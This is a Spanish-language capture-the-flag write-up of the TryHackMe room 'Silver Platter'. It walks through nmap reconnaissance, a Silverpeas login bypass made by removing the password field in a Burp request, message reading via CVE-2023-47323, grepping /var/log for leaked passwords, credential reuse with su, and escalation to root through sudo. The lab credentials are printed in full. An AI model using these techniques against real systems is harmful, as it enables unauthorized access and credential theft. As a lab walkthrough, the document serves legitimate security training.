Entrada

TryHackMe - Silver Platter (Bandeja de plata)

Un desafío muy divertido en el que explotamos una vulnerabilidad de inicio de sesión en la aplicación Silverpeas

TryHackMe - Silver Platter (Bandeja de plata)

Introducción

Sala bastante divertida en la que explotamos una vulnerabilidad de inicio de sesión en la aplicación Silverpeas y luego explotamos otro CVE para obtener indicadores de usuario y root.

Tryhackme Room Link

¿Crees que tienes lo que hace falta para ser más astuto que el equipo de seguridad de Hack Smarter? Afirman ser invencibles y ahora es tu oportunidad de demostrarles que están equivocados. Sumérgete en su servidor web, encuentra las banderas ocultas y muéstrale al mundo tus habilidades de hacker de élite. ¡Buena suerte y que gane el mejor hacker!

Pero cuidado, esto no será un paseo por el parque digital. Hack Smarter Security ha reforzado el servidor contra ataques comunes y su política de contraseñas exige contraseñas que no hayan sido violadas (las verifican con la lista de palabras rockyou.txt; así de “geniales” son). El desafío de la piratería ya está en juego y es hora de mejorar tu juego. Recuerda, solo los más ingeniosos llegarán a la cima.

¡Que tu código sea rápido, tus hazañas impecables y la victoria tuya!

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nmap -T4 -n -sC -sV -Pn -p- 10.10.200.35
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_  256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp   open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hack Smarter Security
8080/tcp open  http-proxy
|_http-title: Error
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:10 GMT
|     <html><head><title>Error</title></head><body>404 - Not Found</body></html>
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Content-Length: 74
|     Content-Type: text/html
|     Date: Sun, 16 Feb 2025 20:12:09 GMT

Desde el nmap podemos ver los puertos disponibles 22/tcp 80/tcp 8080/tcp

Reconocimiento

Revisando la página de contacto podemos ver un posible nombre de usuario y una aplicación llamada Silverpeas:

Flag

Una búsqueda rápida en Google nos dará la información importante

Silverpeas utiliza de forma predeterminada la página de inicio de sesión ubicada en http://localhost:8080/silverpeas, así que probémosla

Nos redirecciona directamente a la página de inicio de sesión:

Flag

Una búsqueda rápida en Google y encontramos una posible vulnerabilidad relacionada con la página de inicio de sesión:

Flag

Puede encontrar más información sobre la vulnerabilidad aquí: https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d

Después de buscar en Google el nombre de usuario predeterminado para Silverpeas, podemos encontrar que es SilverAdmin

Flag

Interceptar una solicitud HTTP a través de BurpSuite

Intentemos crear una solicitud POST http a través de BurpSuite:

Solicitud original:

Flag

Solicitud modificada después de eliminar el campo Password:

Flag

Hemos iniciado sesión como administrador

Flag

Después de realizar otra búsqueda en Google sobre las vulnerabilidades de Silverpeas, encontramos https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323 Básicamente, podemos leer cualquier mensaje bajo: http://localhost:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=[messageID]

Después de varios intentos, encontramos con éxito un mensaje con ID6:

Flag

Inicio de sesión SSH

Entonces podemos usar estas credenciales para iniciar sesión a través de ssh como usuario “tim”

1
2
nombre de usuario: tim
contraseña: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol

Flag

Y podemos conseguir la bandera:

Flag

Al verificar las membresías del grupo podemos ver que tim es parte del grupo adm:

1
2
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)

Después de ejecutar el siguiente comando podemos encontrar los registros con la contraseña de la base de datos:

1
2
tim@silver-platter:~$ grep -Ri 'password' /var/log 2>/dev/null

1
COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -e DB_NAME=Silverpeas -e DB_USER=silverpeas -e DB_PASSWORD=_Zd_zx7N823/ 

Probemos la combinación de usuario y contraseña de la base de datos:

1
2
3
tim@silver-platter:~$ su tyler
Password: 
tyler@silver-platter:/home/tim$ 

Ahora al verificar las membresías del grupo, tenemos muchos más privilegios:

1
2
tyler@silver-platter:/home/tim$ id
uid=1000(tyler) gid=1000(tyler) groups=1000(tyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)

Ahh, no importa, ya tenemos acceso sudo:

1
2
3
4
5
6
7
8
9
10
11
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler: 
Matching Defaults entries for tyler on silver-platter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User tyler may run the following commands on silver-platter:
    (ALL : ALL) ALL
tyler@silver-platter:/home/tim$ 

Ahora podemos cambiar a root usando sudo:

1
2
tyler@silver-platter:/home/tim$ sudo su root
root@silver-platter:/home/tim# 

Bandera Root

Y encuentra la bandera root:

Flag


Esta entrada está licenciada bajo CC BY 4.0 por el autor.